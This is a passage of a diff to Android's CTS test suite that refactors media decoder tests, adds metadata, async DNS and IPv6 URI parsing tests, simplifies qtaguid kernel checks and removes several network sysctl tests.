+            throw new RuntimeException(e);
+        }
+
+    }
+
     /**
      * Verify the correct decoding of USAC bitstreams with various sampling rates.
      */
@@ -275,20 +292,28 @@
 
         for (String aacDecName : sAacDecoderNames) {
             try {
-                checkUsacSamplingRate(R.raw.noise_2ch_08khz_aot42_19_lufs_mp4, aacDecName);
-                checkUsacSamplingRate(R.raw.noise_2ch_12khz_aot42_19_lufs_mp4, aacDecName);
-                checkUsacSamplingRate(R.raw.noise_2ch_22_05khz_aot42_19_lufs_mp4, aacDecName);
-                checkUsacSamplingRate(R.raw.noise_2ch_64khz_aot42_19_lufs_mp4, aacDecName);
-                checkUsacSamplingRate(R.raw.noise_2ch_88_2khz_aot42_19_lufs_mp4, aacDecName);
-                checkUsacSamplingRateWoLoudness(R.raw.noise_2ch_19_2khz_aot42_no_ludt_mp4,
-                        aacDecName);
-            } catch (Exception e) {
-                Log.v(TAG, "testDecodeUsacSamplingRatesM4a for decoder" + aacDecName);
-                throw new RuntimeException(e);
+                runDecodeUsacSamplingRatesM4a(aacDecName);
+            } catch (Error err) {
+                throw new Error(err.getMessage() + " [dec=" + aacDecName + "]" , err);
             }
         }
     }
 
+    private void runDecodeUsacSamplingRatesM4a(String aacDecName) throws Exception {
+        try {
+            checkUsacSamplingRate(R.raw.noise_2ch_08khz_aot42_19_lufs_mp4, aacDecName);
+            checkUsacSamplingRate(R.raw.noise_2ch_12khz_aot42_19_lufs_mp4, aacDecName);
+            checkUsacSamplingRate(R.raw.noise_2ch_22_05khz_aot42_19_lufs_mp4, aacDecName);
+            checkUsacSamplingRate(R.raw.noise_2ch_64khz_aot42_19_lufs_mp4, aacDecName);
+            checkUsacSamplingRate(R.raw.noise_2ch_88_2khz_aot42_19_lufs_mp4, aacDecName);
+            checkUsacSamplingRateWoLoudness(R.raw.noise_2ch_19_2khz_aot42_no_ludt_mp4,
+                    aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacSamplingRatesM4a for decoder" + aacDecName);
+            throw new RuntimeException(e);
+        }
+    }
+
 
     /**
      *  Internal utilities
@@ -440,7 +465,7 @@
     }
 
     /**
-     * Same as {@link #checkEnergyUSAC(short[], AudioParameter, int, int)} but with DRC effec type
+     * Same as {@link #checkEnergyUSAC(short[], AudioParameter, int, int)} but with DRC effect type
      * @param decSamples
      * @param decParams
      * @param encNch
diff --git a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
index 98ce1f1..47640ed 100644
--- a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
@@ -183,6 +183,19 @@
                 mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_WRITER));
     }
 
+    public void testBitsPerSampleAndSampleRate() {
+        setDataSourceFd(R.raw.testwav_16bit_44100hz);
+
+        assertEquals("Bits per sample was other than expected",
+                "16",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_BITS_PER_SAMPLE));
+
+        assertEquals("Sample rate was other than expected",
+                "44100",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_SAMPLERATE));
+
+    }
+
     public void testLargeAlbumArt() {
         setDataSourceFd(R.raw.largealbumart);
 
diff --git a/tests/tests/mediastress/Android.mk b/tests/tests/mediastress/Android.mk
index 633708f..47557e3 100644
--- a/tests/tests/mediastress/Android.mk
+++ b/tests/tests/mediastress/Android.mk
@@ -38,6 +38,8 @@
 
 LOCAL_PACKAGE_NAME := CtsMediaStressTestCases
 
+LOCAL_HOST_REQUIRED_MODULES := cts-dynamic-config
+
 LOCAL_SDK_VERSION := current
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/mediastress/AndroidTest.xml b/tests/tests/mediastress/AndroidTest.xml
index c95b74d..9bf90f8 100644
--- a/tests/tests/mediastress/AndroidTest.xml
+++ b/tests/tests/mediastress/AndroidTest.xml
@@ -17,8 +17,15 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="media" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="host" />
+        <option name="config-filename" value="cts" />
+        <option name="dynamic-config-name" value="cts-dynamic-config" />
+        <option name="version" value="9.0_r1"/>
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
         <option name="target" value="device" />
         <option name="config-filename" value="CtsMediaStressTestCases" />
+        <option name="version" value="9.0_r1"/>
     </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp b/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
index fd0d37b..622c336 100644
--- a/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
+++ b/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
@@ -1017,6 +1017,11 @@
             glEGLImageTargetTexture2DOES(mTexTarget, static_cast<GLeglImageOES>(mEGLImage));
         }
     }
+    // If the texture does not have mipmaps, set a filter that does not require them.
+    if (!(desc.usage & AHARDWAREBUFFER_USAGE_GPU_MIPMAP_COMPLETE)) {
+        glTexParameteri(mTexTarget, GL_TEXTURE_MAX_LEVEL, 0);
+        glTexParameteri(mTexTarget, GL_TEXTURE_MIN_FILTER, GL_NEAREST);
+    }
     ASSERT_EQ(GLenum{GL_NO_ERROR}, glGetError());
 }
 
diff --git a/tests/tests/nativehardware/src/android/hardware/nativehardware/cts/HardwareBufferVrTest.java b/tests/tests/nativehardware/src/android/hardware/nativehardware/cts/HardwareBufferVrTest.java
index ff022fc..7d31dc3 100644
--- a/tests/tests/nativehardware/src/android/hardware/nativehardware/cts/HardwareBufferVrTest.java
+++ b/tests/tests/nativehardware/src/android/hardware/nativehardware/cts/HardwareBufferVrTest.java
@@ -21,14 +21,10 @@
 import android.hardware.HardwareBuffer;
 import android.test.AndroidTestCase;
 
-import com.android.compatibility.common.util.CddTest;
-
 /**
  * Checks whether layered buffers are supported when VR feature is present.
  */
 public class HardwareBufferVrTest extends AndroidTestCase {
-
-    @CddTest(requirement="7.9.2/C-1-10")
     public void testLayeredBuffersForVr() throws AssertionError {
         boolean mIsVrHeadset = (getContext().getResources().getConfiguration().uiMode
             & Configuration.UI_MODE_TYPE_MASK) == Configuration.UI_MODE_TYPE_VR_HEADSET;
diff --git a/tests/tests/net/Android.mk b/tests/tests/net/Android.mk
index 1430071..6967adb 100644
--- a/tests/tests/net/Android.mk
+++ b/tests/tests/net/Android.mk
@@ -26,7 +26,6 @@
 
 LOCAL_JAVA_LIBRARIES := \
     voip-common \
-    conscrypt \
     org.apache.http.legacy \
     android.test.base.stubs \
 
diff --git a/tests/tests/net/native/dns_async/Android.bp b/tests/tests/net/native/dns_async/Android.bp
new file mode 100644
index 0000000..2b9346f
--- /dev/null
+++ b/tests/tests/net/native/dns_async/Android.bp
@@ -0,0 +1,36 @@
+cc_defaults {
+    name: "dns_async_defaults",
+
+    cflags: [
+        "-fstack-protector-all",
+        "-g",
+        "-Wall",
+        "-Wextra",
+        "-Werror",
+        "-fno-builtin",
+    ],
+    srcs: [
+        "src/NativeDnsAsyncTest.cpp",
+    ],
+    shared_libs: [
+        "liblog",
+        "libutils",
+        "libandroid",
+    ],
+}
+
+cc_test {
+    name: "CtsNativeNetDnsTestCases",
+    defaults: ["dns_async_defaults"],
+    multilib: {
+        lib32: {
+            suffix: "32",
+        },
+        lib64: {
+            suffix: "64",
+        },
+    },
+    test_suites: [
+        "cts",
+    ],
+}
\ No newline at end of file
diff --git a/tests/tests/net/native/dns_async/AndroidTest.xml b/tests/tests/net/native/dns_async/AndroidTest.xml
new file mode 100644
index 0000000..e092b36
--- /dev/null
+++ b/tests/tests/net/native/dns_async/AndroidTest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Native Network dns_async test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="networking" />
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="cleanup" value="true" />
+        <option name="push" value="CtsNativeNetDnsTestCases->/data/local/tmp/CtsNativeNetDnsTestCases" />
+        <option name="append-bitness" value="true" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.GTest" >
+        <option name="native-test-device-path" value="/data/local/tmp" />
+        <option name="module-name" value="CtsNativeNetDnsTestCases" />
+        <option name="runtime-hint" value="1m" />
+    </test>
+</configuration>
diff --git a/tests/tests/net/native/dns_async/src/NativeDnsAsyncTest.cpp b/tests/tests/net/native/dns_async/src/NativeDnsAsyncTest.cpp
new file mode 100644
index 0000000..087eb5e
--- /dev/null
+++ b/tests/tests/net/native/dns_async/src/NativeDnsAsyncTest.cpp
@@ -0,0 +1,148 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <arpa/inet.h>
+#include <arpa/nameser.h>
+#include <netinet/in.h>
+#include <sys/socket.h>
+#include <error.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <inttypes.h>
+#include <poll.h> /* poll */
+#include <resolv.h>
+#include <string.h>
+
+#include <android/multinetwork.h>
+#include <gtest/gtest.h>
+
+namespace {
+constexpr int MAXPACKET = 8 * 1024;
+constexpr int PTON_MAX = 16;
+
+int getAsyncResponse(int fd, int timeoutMs, int* rcode, u_char* buf, int bufLen) {
+    struct pollfd wait_fd[1];
+    wait_fd[0].fd = fd;
+    wait_fd[0].events = POLLIN;
+    short revents;
+    int ret;
+    ret = poll(wait_fd, 1, timeoutMs);
+    revents = wait_fd[0].revents;
+    if (revents & POLLIN) {
+        int n = android_res_nresult(fd, rcode, buf, bufLen);
+        return n;
+    }
+
+    return -1;
+}
+
+std::vector<std::string> extractIpAddressAnswers(u_char* buf, int bufLen, int ipType) {
+    ns_msg handle;
+    if (ns_initparse((const uint8_t*) buf, bufLen, &handle) < 0) {
+        return {};
+    }
+    int ancount = ns_msg_count(handle, ns_s_an);
+    ns_rr rr;
+    std::vector<std::string> answers;
+    for (int i = 0; i < ancount; i++) {
+        if (ns_parserr(&handle, ns_s_an, i, &rr) < 0) {
+            continue;
+        }
+        const u_char* rdata = ns_rr_rdata(rr);
+        char buffer[INET6_ADDRSTRLEN];
+        if (inet_ntop(ipType, (const char*) rdata, buffer, sizeof(buffer))) {
+            answers.push_back(buffer);
+        }
+    }
+    return answers;
+}
+
+void expectAnswersValid(int fd, int ipType, int expectedRcode) {
+    int rcode = -1;
+    u_char buf[MAXPACKET] = {};
+    int res = getAsyncResponse(fd, 10000, &rcode, buf, MAXPACKET);
+    EXPECT_GT(res, 0);
+    EXPECT_EQ(rcode, expectedRcode);
+
+
+    if (expectedRcode == NOERROR) {
+        auto answers = extractIpAddressAnswers(buf, res, ipType);
+        EXPECT_GT(answers.size(), 0U);
+        for (auto &answer : answers) {
+            char pton[PTON_MAX];
+            EXPECT_EQ(1, inet_pton(ipType, answer.c_str(), pton));
+        }
+    }
+}
+
+} // namespace
+
+TEST (NativeDnsAsyncTest, Async_Query) {
+    // V4
+    int fd = android_res_nquery(NETWORK_UNSPECIFIED ,"www.google.com", ns_c_in, ns_t_a);
+    EXPECT_GT(fd, 0);
+    expectAnswersValid(fd, AF_INET, NOERROR);
+
+    // V6
+    fd = android_res_nquery(NETWORK_UNSPECIFIED ,"www.google.com", ns_c_in, ns_t_aaaa);
+    EXPECT_GT(fd, 0);
+    expectAnswersValid(fd, AF_INET6, NOERROR);
+}
+
+TEST (NativeDnsAsyncTest, Async_Send) {
+    // V4
+    u_char buf[MAXPACKET] = {};
+    int len = res_mkquery(QUERY, "www.youtube.com",
+            ns_c_in, ns_t_a, nullptr, 0, nullptr, buf, sizeof(buf));
+    EXPECT_GT(len, 0);
+    int fd = android_res_nsend(NETWORK_UNSPECIFIED , buf, len);
+    EXPECT_GT(fd, 0);
+    expectAnswersValid(fd, AF_INET, NOERROR);
+
+    // V6
+    memset(buf, 0, MAXPACKET);
+    len = res_mkquery(QUERY, "www.youtube.com",
+            ns_c_in, ns_t_aaaa, nullptr, 0, nullptr, buf, sizeof(buf));
+    EXPECT_GT(len, 0);
+    fd = android_res_nsend(NETWORK_UNSPECIFIED , buf, len);
+    EXPECT_GT(fd, 0);
+    expectAnswersValid(fd, AF_INET6, NOERROR);
+}
+
+TEST (NativeDnsAsyncTest, Async_NXDOMAIN) {
+    u_char buf[MAXPACKET] = {};
+    int len = res_mkquery(QUERY, "test-nx.metric.gstatic.com",
+            ns_c_in, ns_t_a, nullptr, 0, nullptr, buf, sizeof(buf));
+    EXPECT_GT(len, 0);
+    int fd = android_res_nsend(NETWORK_UNSPECIFIED , buf, len);
+    EXPECT_GT(fd, 0);
+    expectAnswersValid(fd, AF_INET, NXDOMAIN);
+}
+
+TEST (NativeDnsAsyncTest, Async_Cancel) {
+    int fd = android_res_nquery(NETWORK_UNSPECIFIED ,"www.google.com", ns_c_in, ns_t_a);
+    int rcode = -1;
+    u_char buf[MAXPACKET] = {};
+    android_res_cancel(fd);
+
+    int res = android_res_nresult(fd, &rcode, buf, MAXPACKET);
+    EXPECT_EQ(res, -EBADF);
+}
+
+int main(int argc, char **argv) {
+    testing::InitGoogleTest(&argc, argv);
+    return RUN_ALL_TESTS();
+}
diff --git a/tests/tests/net/native/qtaguid/src/NativeQtaguidTest.cpp b/tests/tests/net/native/qtaguid/src/NativeQtaguidTest.cpp
index 1892a44..7dc6240 100644
--- a/tests/tests/net/native/qtaguid/src/NativeQtaguidTest.cpp
+++ b/tests/tests/net/native/qtaguid/src/NativeQtaguidTest.cpp
@@ -18,36 +18,29 @@
 #include <error.h>
 #include <errno.h>
 #include <inttypes.h>
+#include <fcntl.h>
 #include <string.h>
 #include <sys/socket.h>
-#include <sys/utsname.h>
 
 #include <gtest/gtest.h>
 #include <qtaguid/qtaguid.h>
 
-int hasQtaguidKernelSupport() {
-    struct utsname buf;
-    int kernel_version_major;
-    int kernel_version_minor;
-
-    int ret = uname(&buf);
-    if (ret) {
-        ret = -errno;
-        return ret;
-    }
-    char dummy;
-    ret = sscanf(buf.release, "%d.%d%c", &kernel_version_major, &kernel_version_minor, &dummy);
-    if (ret < 3)
-        return -EINVAL;
-
-    if ((kernel_version_major == 4 && kernel_version_minor < 9) ||
-        (kernel_version_major < 4)) {
-        return 1;
-    } else {
-        return access("/proc/net/xt_qtaguid/ctrl", F_OK) != -1;
-    }
+int canAccessQtaguidFile() {
+    int fd = open("/proc/net/xt_qtaguid/ctrl", O_RDONLY | O_CLOEXEC);
+    close(fd);
+    return fd != -1;
 }
 
+#define SKIP_IF_QTAGUID_NOT_SUPPORTED()                                                       \
+  do {                                                                                        \
+    int res = canAccessQtaguidFile();                                                      \
+    ASSERT_LE(0, res);                                                                        \
+    if (!res) {                                                                               \
+          GTEST_LOG_(INFO) << "This test is skipped since kernel may not have the module\n";  \
+          return;                                                                             \
+    }                                                                                         \
+  } while (0)
+
 int getCtrlSkInfo(int tag, uid_t uid, uint64_t* sk_addr, int* ref_cnt) {
     FILE *fp;
     fp = fopen("/proc/net/xt_qtaguid/ctrl", "r");
@@ -95,12 +88,8 @@
 }
 
 TEST (NativeQtaguidTest, close_socket_without_untag) {
-    int res = hasQtaguidKernelSupport();
-    ASSERT_LE(0, res);
-    if (!res) {
-          GTEST_LOG_(INFO) << "This test is skipped since kernel may not have the module\n";
-          return;
-    }
+    SKIP_IF_QTAGUID_NOT_SUPPORTED();
+
     int sockfd = socket(AF_INET, SOCK_STREAM, 0);
     uid_t uid = getuid();
     int tag = arc4random();
@@ -114,12 +103,8 @@
 }
 
 TEST (NativeQtaguidTest, close_socket_without_untag_ipv6) {
-    int res = hasQtaguidKernelSupport();
-    ASSERT_LE(0, res);
-    if (!res) {
-          GTEST_LOG_(INFO) << "This test is skipped since kernel may not have the module\n";
-          return;
-    }
+    SKIP_IF_QTAGUID_NOT_SUPPORTED();
+
     int sockfd = socket(AF_INET6, SOCK_STREAM, 0);
     uid_t uid = getuid();
     int tag = arc4random();
@@ -133,12 +118,8 @@
 }
 
 TEST (NativeQtaguidTest, no_socket_addr_leak) {
-    int res = hasQtaguidKernelSupport();
-    ASSERT_LE(0, res);
-    if (!res) {
-          GTEST_LOG_(INFO) << "This test is skipped since kernel may not have the module\n";
-          return;
-    }
+  SKIP_IF_QTAGUID_NOT_SUPPORTED();
+
   checkNoSocketPointerLeaks(AF_INET);
   checkNoSocketPointerLeaks(AF_INET6);
 }
diff --git a/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java b/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
index 441bee3..6e4f34e 100644
--- a/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
+++ b/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
@@ -107,17 +107,6 @@
             "Host: " + TEST_HOST + "\r\n" +
             "Connection: keep-alive\r\n\r\n";
 
-    // Base path for IPv6 sysctls
-    private static final String IPV6_SYSCTL_DIR = "/proc/sys/net/ipv6/conf";
-
-    // Expected values for MIN|MAX_PLEN.
-    private static final int IPV6_WIFI_ACCEPT_RA_RT_INFO_MIN_PLEN = 48;
-    private static final int IPV6_WIFI_ACCEPT_RA_RT_INFO_MAX_PLEN = 64;
-
-    // Expected values for RFC 7559 router soliciations.
-    // Maximum number of router solicitations to send. -1 means no limit.
-    private static final int IPV6_WIFI_ROUTER_SOLICITATIONS = -1;
-
     // Action sent to ConnectivityActionReceiver when a network callback is sent via PendingIntent.
     private static final String NETWORK_CALLBACK_ACTION =
             "ConnectivityManagerTest.NetworkCallbackAction";
@@ -908,60 +897,6 @@
         } catch (SecurityException expected) {}
     }
 
-    private Scanner makeWifiSysctlScanner(String key) throws FileNotFoundException {
-        Network network = ensureWifiConnected();
-        String iface = mCm.getLinkProperties(network).getInterfaceName();
-        String path = IPV6_SYSCTL_DIR + "/" + iface + "/" + key;
-        return new Scanner(new File(path));
-    }
-
-    /** Verify that accept_ra_rt_info_min_plen exists and is set to the expected value */
-    public void testAcceptRaRtInfoMinPlen() throws Exception {
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_WIFI)) {
-            Log.i(TAG, "testConnectivityChanged_manifestRequestOnlyPreN_shouldReceiveIntent cannot execute unless device supports WiFi");
-            return;
-        }
-        Scanner s = makeWifiSysctlScanner("accept_ra_rt_info_min_plen");
-        assertEquals(IPV6_WIFI_ACCEPT_RA_RT_INFO_MIN_PLEN, s.nextInt());
-    }
-
-    /** Verify that accept_ra_rt_info_max_plen exists and is set to the expected value */
-    public void testAcceptRaRtInfoMaxPlen() throws Exception {
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_WIFI)) {
-            Log.i(TAG, "testConnectivityChanged_manifestRequestOnlyPreN_shouldReceiveIntent cannot execute unless device supports WiFi");
-            return;
-        }
-        Scanner s = makeWifiSysctlScanner("accept_ra_rt_info_max_plen");
-        assertEquals(IPV6_WIFI_ACCEPT_RA_RT_INFO_MAX_PLEN, s.nextInt());
-    }
-
-    /** Verify that router_solicitations exists and is set to the expected value */
-    public void testRouterSolicitations() throws Exception {
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_WIFI)) {
-            Log.i(TAG, "testConnectivityChanged_manifestRequestOnlyPreN_shouldReceiveIntent cannot execute unless device supports WiFi");
-            return;
-        }
-        Scanner s = makeWifiSysctlScanner("router_solicitations");
-        assertEquals(IPV6_WIFI_ROUTER_SOLICITATIONS, s.nextInt());
-    }
-
-    /** Verify that router_solicitation_max_interval exists and is in an acceptable interval */
-    public void testRouterSolicitationMaxInterval() throws Exception {
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_WIFI)) {
-            Log.i(TAG, "testConnectivityChanged_manifestRequestOnlyPreN_shouldReceiveIntent cannot execute unless device supports WiFi");
-            return;
-        }
-        Scanner s = makeWifiSysctlScanner("router_solicitation_max_interval");
-        int interval = s.nextInt();
-        // Verify we're in the interval [15 minutes, 60 minutes]. Lower values may adversely
-        // impact battery life and higher values can decrease the probability of detecting
-        // network changes.
-        final int lowerBoundSec = 15 * 60;
-        final int upperBoundSec = 60 * 60;
-        assertTrue(lowerBoundSec <= interval);
-        assertTrue(interval <= upperBoundSec);
-    }
-
     // Returns "true", "false" or "none"
     private String getWifiMeteredStatus(String ssid) throws Exception {
         // Interestingly giving the SSID as an argument to list wifi-networks
diff --git a/tests/tests/net/src/android/net/cts/IpSecSysctlTest.java b/tests/tests/net/src/android/net/cts/IpSecSysctlTest.java
deleted file mode 100644
index b362282..0000000
--- a/tests/tests/net/src/android/net/cts/IpSecSysctlTest.java
+++ /dev/null
@@ -1,45 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts;
-
-import android.system.ErrnoException;
-import android.system.Os;
-import android.system.OsConstants;
-import android.system.StructStat;
-import android.test.AndroidTestCase;
-
-import java.io.File;
-import java.io.FileDescriptor;
-import java.io.IOException;
-
-/**
- * Tests for multinetwork sysctl functionality.
- */
-public class IpSecSysctlTest extends SysctlBaseTest {
-
-    // SPI expiration sysctls. Must be present and set greater than 1h.
-    private static final String SPI_TIMEOUT_SYSCTL = "/proc/sys/net/core/xfrm_acq_expires";
-    private static final int MIN_ACQ_EXPIRES = 3600;
-
-    /**
-     * Checks that SPI default timeouts are overridden, and set to a reasonable length of time
-     */
-    public void testProcFiles() throws ErrnoException, IOException, NumberFormatException {
-        int value = getIntValue(SPI_TIMEOUT_SYSCTL);
-        assertAtLeast(SPI_TIMEOUT_SYSCTL, value, MIN_ACQ_EXPIRES);
-    }
-}
diff --git a/tests/tests/net/src/android/net/cts/MultinetworkSysctlTest.java b/tests/tests/net/src/android/net/cts/MultinetworkSysctlTest.java
deleted file mode 100644
index 1d0c111..0000000
--- a/tests/tests/net/src/android/net/cts/MultinetworkSysctlTest.java
+++ /dev/null
@@ -1,73 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts;
-
-import android.system.ErrnoException;
-import android.system.Os;
-import android.system.OsConstants;
-import android.system.StructStat;
-import android.test.AndroidTestCase;
-
-import java.io.File;
-import java.io.FileDescriptor;
-import java.io.IOException;
-
-/**
- * Tests for multinetwork sysctl functionality.
- */
-public class MultinetworkSysctlTest extends SysctlBaseTest {
-
-    // Global sysctls. Must be present and set to 1.
-    private static final String[] GLOBAL_SYSCTLS = {
-        "/proc/sys/net/ipv4/fwmark_reflect",
-        "/proc/sys/net/ipv6/fwmark_reflect",
-        "/proc/sys/net/ipv4/tcp_fwmark_accept",
-    };
-
-    // Per-interface IPv6 autoconf sysctls.
-    private static final String IPV6_SYSCTL_DIR = "/proc/sys/net/ipv6/conf";
-    private static final String AUTOCONF_SYSCTL = "accept_ra_rt_table";
-
-    /**
-     * Checks that the sysctls for multinetwork kernel features are present and
-     * enabled. The necessary kernel commits are:
-     *
-     * Mainline Linux:
-     *   e110861 net: add a sysctl to reflect the fwmark on replies
-     *   1b3c61d net: Use fwmark reflection in PMTU discovery.
-     *   84f39b0 net: support marking accepting TCP sockets
-     *
-     * Common Android tree (e.g., 3.10):
-     *   a03f539 net: ipv6: autoconf routes into per-device tables
-     */
-     public void testProcFiles() throws ErrnoException, IOException, NumberFormatException {
-         for (String sysctl : GLOBAL_SYSCTLS) {
-             int value = getIntValue(sysctl);
-             assertEquals(sysctl, 1, value);
-         }
-
-         File[] interfaceDirs = new File(IPV6_SYSCTL_DIR).listFiles();
-         for (File interfaceDir : interfaceDirs) {
-             if (interfaceDir.getName().equals("all") || interfaceDir.getName().equals("lo")) {
-                 continue;
-             }
-             String sysctl = new File(interfaceDir, AUTOCONF_SYSCTL).getAbsolutePath();
-             int value = getIntValue(sysctl);
-             assertLess(sysctl, value, 0);
-         }
-     }
-}
diff --git a/tests/tests/net/src/android/net/cts/SysctlBaseTest.java b/tests/tests/net/src/android/net/cts/SysctlBaseTest.java
deleted file mode 100644
index a5966d4..0000000
--- a/tests/tests/net/src/android/net/cts/SysctlBaseTest.java
+++ /dev/null
@@ -1,70 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts;
-
-import android.system.ErrnoException;
-import android.system.Os;
-import android.system.OsConstants;
-import android.system.StructStat;
-import android.test.AndroidTestCase;
-
-import java.io.File;
-import java.io.FileDescriptor;
-import java.io.IOException;
-
-/**
- * Tests for multinetwork sysctl functionality.
- */
-public class SysctlBaseTest extends AndroidTestCase {
-
-    // Expected mode, UID, and GID of sysctl files.
-    private static final int SYSCTL_MODE = 0100644;
-    private static final int SYSCTL_UID = 0;
-    private static final int SYSCTL_GID = 0;
-
-    private void checkSysctlPermissions(String fileName) throws ErrnoException {
-        StructStat stat = Os.stat(fileName);
-        assertEquals("mode of " + fileName + ":", SYSCTL_MODE, stat.st_mode);
-        assertEquals("UID of " + fileName + ":", SYSCTL_UID, stat.st_uid);
-        assertEquals("GID of " + fileName + ":", SYSCTL_GID, stat.st_gid);
-    }
-
-    protected void assertLess(String sysctl, int a, int b) {
-        assertTrue("value of " + sysctl + ": expected < " + b + " but was: " + a, a < b);
-    }
-
-    protected void assertAtLeast(String sysctl, int a, int b) {
-        assertTrue("value of " + sysctl + ": expected >= " + b + " but was: " + a, a >= b);
-    }
-
-    private String readFile(String fileName) throws ErrnoException, IOException {
-        byte[] buf = new byte[1024];
-        FileDescriptor fd = Os.open(fileName, 0, OsConstants.O_RDONLY);
-        int bytesRead = Os.read(fd, buf, 0, buf.length);
-        assertLess("length of " + fileName + ":", bytesRead, buf.length);
-        return new String(buf);
-    }
-
-    /*
-     * Checks permissions and retrieves the sysctl's value. Retrieval of value should always use
-     * this method
-     */
-    protected int getIntValue(String filename) throws ErrnoException, IOException {
-        checkSysctlPermissions(filename);
-        return Integer.parseInt(readFile(filename).trim());
-    }
-}
diff --git a/tests/tests/net/src/android/net/cts/UriTest.java b/tests/tests/net/src/android/net/cts/UriTest.java
index 5c54cda..5344f93 100644
--- a/tests/tests/net/src/android/net/cts/UriTest.java
+++ b/tests/tests/net/src/android/net/cts/UriTest.java
@@ -22,6 +22,7 @@
 import android.test.AndroidTestCase;
 import java.io.File;
 import java.util.Arrays;
+import java.util.ArrayList;
 
 public class UriTest extends AndroidTestCase {
     public void testParcelling() {
@@ -73,6 +74,12 @@
         assertEquals("new", b.getFragment());
         assertEquals("bar", b.getSchemeSpecificPart());
         assertEquals("foo", b.getScheme());
+
+        a = Uri.fromParts("scheme", "[2001:db8::dead:e1f]/foo", "bar");
+        b = a.buildUpon().fragment("qux").build();
+        assertEquals("qux", b.getFragment());
+        assertEquals("[2001:db8::dead:e1f]/foo", b.getSchemeSpecificPart());
+        assertEquals("scheme", b.getScheme());
     }
 
     public void testStringUri() {
@@ -120,6 +127,38 @@
         assertEquals("a.foo.com", uri.getHost());
         assertEquals(-1, uri.getPort());
         assertEquals("\\.example.com/path", uri.getPath());
+
+        uri = Uri.parse("https://[2001:db8::dead:e1f]/foo");
+        assertEquals("[2001:db8::dead:e1f]", uri.getAuthority());
+        assertNull(uri.getUserInfo());
+        assertEquals("[2001:db8::dead:e1f]", uri.getHost());
+        assertEquals(-1, uri.getPort());
+        assertEquals("/foo", uri.getPath());
+        assertEquals(null, uri.getFragment());
+        assertEquals("//[2001:db8::dead:e1f]/foo", uri.getSchemeSpecificPart());
+
